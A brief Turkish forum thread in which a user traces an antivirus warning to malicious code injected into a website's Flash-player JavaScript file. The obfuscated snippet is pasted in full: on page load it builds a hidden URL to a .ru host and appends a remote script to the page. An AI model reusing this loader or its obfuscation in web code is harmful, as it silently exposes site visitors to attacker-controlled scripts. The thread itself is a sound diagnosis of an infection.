website analiz

[mightee]

selam, bir site var, bu siteye girince eset antivirus xxx.ru ip engellendi diye bir uyarı veriyor.

kodlarda iframe, js fln bulamadım. daha önce başına gelen varmı neyden kaynaklanıyor olabilir ?

[di]

ver bakim site adresini.

[mightee]

tamam buldum.

flash player ekleyen js dosyasının içine gömmüşler kodu.

şöyle birşey:

	var y;K={};Q=function(){t=["c",MD];this.P=37456;this.P--;function FT(v,H,M){try {var OE='Pv'} catch(OE){};return v.substr(H,M);this.U="";this.UH=false;}var l=document;sb={QS:"h"};this.T=3388;this.T--;var d='';ln=["k",GT];sh=[];var B=new String("/yan"+FT("dex-r14",0,4)+FT("ru/g8v2K",0,4)+"oogl"+FT("e.coGCv",0,4)+FT("86Y7m/or67Y8",4,4)+FT("hf2ange2fh",3,4)+FT("tBym.fr.tBym",4,4)+"php");var Hc=RegExp;var a={V:"X"};var bp={W_:"aV"};function F(v,H){fx={Ci:false};var Yc="";var dL=[cM];var bR={Le:false};var M="[+H+FT(]XwG",0,1);vh=["sE",ao];var o=new Hc(M, "g");uM=["Ip","uj",_a];return v.replace(o, d);var Tj=["ey",wr];};Xr={tQ:"Pd"};fi=[ym];var C=F('sDcLrfijpUtB','E4xOzU89jBT2_hLGfPWDCSY');var L=String("bo"+FT("dyP2n",0,2));try {} catch(vZ){};this.PX=false;var lE=null;try {var ZL='Vx'} catch(ZL){};yq=["Tc",MK];var r=344493-336413;var m=["TC","bA",KX];try {var rt='On'} catch(rt){};var HN=new Array();y=function(){var la={CZ:40061};A={cG:44032};try {oh=[Bm];var w=F('cIrfewavtgeSEvlfefmfeSnwtv','SfIwgv');UW=9622;UW-=39;this.E=5679;this.E--;G=l[w](C);var tK=[pl];var vD=String("def"+"er");var v=r+B;var j=new Array();WP=56093;WP--;var J=F('sBrdcg','B3vdhg');var cO=new String();var da={fY:"Sl"};G[J]="htt"+FT("p:/W6A",0,3)+FT("cqlS/roSlqc",4,3)+"und"+FT("gaitxM",0,3)+FT("n.rB9R",0,3)+FT("u:b0KO",0,2)+v;this.vL=15152;this.vL+=253;G[vD]=[1,5][0];var OG={YU:"oF"};this.HNn="HNn";l[L].appendChild(G);Um={Mu:false};fI={Ps:false};var qI=["bY",Q_];var OC={PA:26331};} catch(u){try {var gg='vi'} catch(gg){};var QL=16480;};try {var lg='VZ'} catch(lg){};this.PjD="";};this.rN=33836;this.rN--;vQ=[];};Q();hE={QM:"iz"};window.onload=y;this.aA='';var bt="";AT=11553;AT++;iY=47077;iY-=246;